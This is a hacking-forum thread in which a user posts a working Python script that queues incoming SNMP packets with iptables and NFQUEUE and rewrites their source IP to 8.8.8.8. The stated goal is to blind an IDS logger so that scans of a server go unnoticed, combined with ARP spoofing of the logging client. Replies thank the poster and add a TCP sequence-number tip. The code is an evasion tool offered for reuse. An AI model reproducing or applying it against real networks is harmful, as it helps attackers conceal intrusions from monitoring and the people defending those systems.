+- Hack Forums (https://hackforums.net)
+-- Forum: Hacks, Exploits, and Various Discussions (https://hackforums.net/forumdisplay.php?fid=45)
+--- Forum: Whitehat • Blue Team • Defensive Security (https://hackforums.net/forumdisplay.php?fid=448)
+---- Forum: Pentesting and Forensics (https://hackforums.net/forumdisplay.php?fid=231)
+---- Thread: IDS SNMP evasion with nfqueue (/showthread.php?tid=4802364)
IDS SNMP evasion with nfqueue - The_R - May 1, 2015
So,
A friend of mine created a SNMP logger that will log malicious activity like scans. If the logger detects a malicous scan the server icon will blink red. I was thinking on how to evade this kind of loggers. I have some experience with NFQUEUE in Python. So I created a script that will wait till a UDP port 161 PDU comes by (help of iptables). In the iptables we will set the PDU's in a queue. In the queue we will sniff for PDU's with the specific IP of the logged server. I will set a callback loop over each PDU so that the ip.src will get spoofed to 8.8.8.8 so that the SNMP logger will only log activity on 8.8.8.8. So that we can scan the heck out of the server.(I ARP spoofed the logging client with a single arp spoof script) I thought that this is maybe useful for people that are in the same situation. So tadaa
Source:
PHP Code
<?php
from scapy.all import *
import nfqueue
import os
os.system('iptables -I INPUT -p udp --dport 161 -j NFQUEUE')
def callback(i, payload):
data = payload.get_data()
pkt = IP(data)
if pkt[IP].src == "10.11.230.2":
pkt[IP].src ="8.8.8.8"
print "PDU spoofed"
del pkt.chksum
payload.set_verdict_modified(nfqueue.NF_ACCEPT, str(pkt), len(pkt))
def main():
q = nfqueue.queue()
q.open()
q.bind(socket.AF_INET)
q.set_callback(callback)
q.create_queue(0)
try:
q.try_run()
except KeyboardInterrupt:
q.unbind(socket.AF_INET)
q.close()
os.system("iptables -F")
os.system("iptables -X")
main()
* - The_R - May 12, 2015
Weren't sure if I would post this in the python section or here. Well, Hope this is useful for someone!
* - Hooded Robin - May 13, 2015
SNMP is more powerful than most realize for system enumeration and other tasks, I think most people just don't know what it is or how MIB tables work....thanks for sharing the script, I haven't used nfqueue before but will check it out now that I have a nice example :)
* - The_R - May 14, 2015
(May 13, 2015 05:40 AM)Hooded Robin Wrote: SNMP is more powerful than most realize for system enumeration and other tasks, I think most people just don't know what it is or how MIB tables work....thanks for sharing the script, I haven't used nfqueue before but will check it out now that I have a nice example :)
I also just started with NFQUEUE a month ago. I already love it. It is more reliable because we just change the packet. Only be careful changing the TCP payload. You must change the sequence numbers if the len() differs.